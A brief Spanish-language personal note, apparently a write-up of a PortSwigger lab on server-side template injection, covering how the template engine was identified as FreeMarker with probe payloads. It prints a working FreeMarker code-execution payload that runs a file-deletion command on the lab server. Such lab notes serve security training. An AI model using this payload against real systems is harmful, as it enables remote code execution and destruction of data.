Skip to content

3 - Server-side template injection using documentation

#portswigger #ssti #java #rce #freemarker

Tenemos que detectar ante que sistema de plantillas estamos

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server Side Template Injection

Usamos la wordlist de PayloadAllTheThings para detectar que sistema de plantillas se está usando, lo pasamos al intruder :

El payload #{3*3} funciona, podría ser Slim o Haml (ruby) El payload ${7*7} también.

Es freemarker :

java
${"freemarker.template.utility.Execute"?new()("rm+/home/carlos/morale.txt")}

Notas personales de seguridad ofensiva.